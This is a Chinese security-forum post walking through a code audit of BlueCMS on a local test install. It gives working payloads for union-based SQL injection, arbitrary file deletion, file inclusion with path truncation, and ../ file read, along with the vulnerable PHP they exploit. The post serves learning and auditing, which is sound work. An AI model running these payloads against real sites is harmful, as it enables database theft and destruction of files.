用户
搜索
  • TA的每日心情
    慵懒
    2021-7-9 00:32
  • 签到天数: 30 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋-见习白帽

    Rank: 3Rank: 3

    3

    主题

    19

    帖子

    588

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2020-11-6
    发表于 2021-6-19 22:37:31 34943
    0x00前言

    最近在学习代码审计,遂想写篇文章与大家一起分享。
    入门代码审计,大家通常会选择从bluecms开始审计,我也就从这个cms开始更新吧(正好i春秋论坛里似乎也没多少关于它的)

    0x01正文

    我使用的环境php5.4.45+apache

    • 重装覆盖漏洞

    我们先走正常流程搭建好网站如下

    由于很多网站会存在重装覆盖的漏洞,所以我们先访问下install文件

    可以发现这里确实可以重新安装该网站,漏洞+1(这里还和代审无关)

    • SQL注入

    这里,我们需要用上seay源代码审计工具

    别看这里好像漏洞很多,大多其实是误报,需要我们人工核实。
    这里我们先学习挖掘select类型的SQL漏洞吧。
    首先先挑选/ad_js.php文件

    $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
    先追踪一下getgone函数,这一看就是自定义函数

    这里没什么大碍,就是执行sql语句的。让我们回到刚才的文件

    可以发现数据是从这里利用GET方式进入的,当参数不为空时,trim函数会去除字符串两侧的空格,所以对我们没什么影响

    这里可以发现文件上方引用了另外一个文件

    可以发现,当没有开启魔术引号的时候就进入下面这处对数据的输入进行一定地处理
    定位deep_addslashes进入/include/common.fun.php文件

    addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

    最后我们在该处存在注入的地方看到

    所以说,我们需要在源代码里查看输出。
    Okey,我们来复现下这块漏洞,联合查询这些反复的操作就不多叙述了
    由于这里存在魔术引号,当我们爆表以及接下来操作的时候难免会用到引号,但是这里又存在魔术引号无法在该处绕过,所以说我们可以通过把表名转化为16进制即可如下:

    [color=rgb(68, 68, 68)][font=-apple-system, BlinkMacSystemFont, "][size=15px]/ad_js.php?ad_id=-1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x626c7565[/size][/font][/color]


    • 任意文件删除(publish.php)

    第一个在publish.php

    重点在@unlink上

    所以说,这里存在一个任意文件删除漏洞。接下来我们来复现一下
    (注:这个地方需要先登入才能执行)

    先在同目录下新建个1.txt文件
    为了方便观看,我在代码下加个echo

    构建参数:

    [AppleScript] 纯文本查看 复制代码
    http://localhost/shenji/bluecms/publish.php?act=del_pic&id=1.txt

    • 任意文件删除(user.php)

    先说个未成功的


    这块就有点迷了,与publsh.php中的代码差别仅是表名不同,但是却不能执行。

    我们接着往上翻

    [PHP] 纯文本查看 复制代码
    else{
            if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
                @unlink(BLUE_ROOT.$_POST['face_pic3']);
            }
        }

    成功执行!

    • 任意文件删除(database.php)

    可以发现这里参数输入仅仅删除了字符串首尾的空白符,所以说可以利用../来实现任意文件删除
    接下来我们试试删除根目录的2.txt文件

    • 文件包含漏洞(user.php)

    嗯,cnvd这里看出了该漏洞十有八九在user.php

    这里我们就要尝试截断后面的文件地址。常见手法有%00 ./ 以及无数个.
    这里要求:
    长度截断:条件:windows的点需要长于256;linux的长于4096
    %00条件:magic_quotes_gpc = Off php版本<5.3.4(由于文件自带addslashes()过滤所以说这里不能用00截断)
    OK,我们先在根目录建个txt

    最后如图所示:

    [AppleScript] 纯文本查看 复制代码
    pay=../../2.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

    也是可以的

    • 文件读取漏洞(/admin/tpl_manage.php)

    这个漏洞在cnvd里看了下好像没有看到。有想交的xd可以自己去交,我懒得去提交了
    我们先打开这个地址看看

    原来是个编辑模板的(在后台功能上只能编辑模板的html)
    我们看看这个地址代码

    [PHP] 纯文本查看 复制代码
    elseif($act == 'edit'){
        $file = $_GET['tpl_name'];
        if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
            showmsg('��Ŀ��ģ���ļ�ʧ��');
        }
        $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
        $tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
        fclose($handle);
        $tpl['name'] = $file;
        template_assign(array('current_act', 'tpl'), array('�༭ģ��', $tpl));
        $smarty->display('tpl_info.htm');
     }

    这里可以发现$file变量未经过任何过滤,所以说可以造成个任意文件读取的漏洞

    [AppleScript] 纯文本查看 复制代码
    http://localhost/shenji/bluecms//admin/tpl_manage.php?act=edit&tpl_name=../../yanxia.txt


    个人博客:http://535yx.cn QQ210246020
    点斜杠这边纠错一下。如图所示
    个人博客:http://535yx.cn QQ210246020
    使用道具 举报 回复
    发表于 2021-6-25 15:01:11
    大佬不光文章写得好,心也细!带带我!
    使用道具 举报 回复
    搞网络安全烧脑啊
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册